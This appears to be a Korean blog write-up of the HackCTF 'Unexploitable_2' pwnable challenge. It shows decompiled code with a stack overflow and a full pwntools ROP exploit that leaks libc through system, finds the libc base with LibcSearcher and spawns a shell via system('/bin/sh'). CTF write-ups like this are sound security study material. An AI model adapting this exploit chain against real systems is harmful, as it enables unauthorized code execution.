본문으로 바로가기

유사 트릭(?) 문제이다!


일단 main 함수이다.

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]
 
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Hard RTL ha? You don't even have fflush@dynstr!\n", 1uLL, 0x30uLL, _bss_start);
  fgets(&s, 64, stdin);
  return 0;
}
cs

누가봐도 오버플로우로 rop하면 되는 문제이다.

하지만 마땅한 출력함수가 없다. fwrite를 사용하기에는 인자셋팅이 힘들었다.


근데 함수부분에 gift라고 있다.

1
2
3
4
int gift()
{
  return system("use this system gadget :D");
}
cs

system함수를 출력함수로도 사용할 수 있다는 점을 이용하여 익스하면 된다.

자세한 내용을 아래 익스코드를 참조하시길!

참고로 Unexploitable_1 문제도 같은 방법으로 풀 수 있다! 물론 언인텐이다.


아 그리고 문제에서 라이브러리를 안주길래 LibcSearcher 모듈을 사용했다.

익스코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
 
= ELF("./Unexploitable_2")
 
#r = remote("ctf.j0n9hyun.xyz",3037)
= process("./Unexploitable_2")
 
system_plt = e.plt["system"]
system_got = e.got["system"]
fwrite_plt = e.plt["fwrite"]
fwrite_got = e.got["fwrite"]
 
main = 0x40068c
gift = e.symbols["gift"]
 
pr = 0x0000000000400773
 
r.recvuntil("!\n")
payload = "A" * (0x10 + 0x8)
payload += p64(pr)
payload += p64(system_got)
payload += p64(system_plt)
payload += p64(main)
 
r.sendline(payload)
log.info("payload length : "+ str(len(payload)))
 
# Output : sh: 1: \x90o\xbd\x18\x7f: not found
r.recvuntil("sh: 1: ")
leak = u64(r.recvuntil("\x7f")[-6:]+"\x00\x00")
libc = LibcSearcher("system",leak)
libc_base = leak - libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
 
log.info("leak data : "+hex(leak))
log.info("libc base : "+hex(libc_base))
 
r.recvuntil("!\n")
payload = "A" * (0x10 + 0x8)
payload += p64(pr)
payload += p64(binsh)
payload += p64(system_plt)
 
r.sendline(payload)
 
r.interactive()
 
cs


'System Hacking ( pwnable ) > HackCTF Write-up' 카테고리의 다른 글

[hackCTF] wishlist ( write-up )  (0) 2019.08.29
[hackCTF] ezshell ( write-up )  (0) 2019.08.19
[hackCTF] babyheap ( write-up )  (0) 2019.08.05
[HackCTF] SysROP ( write-up )  (0) 2019.07.31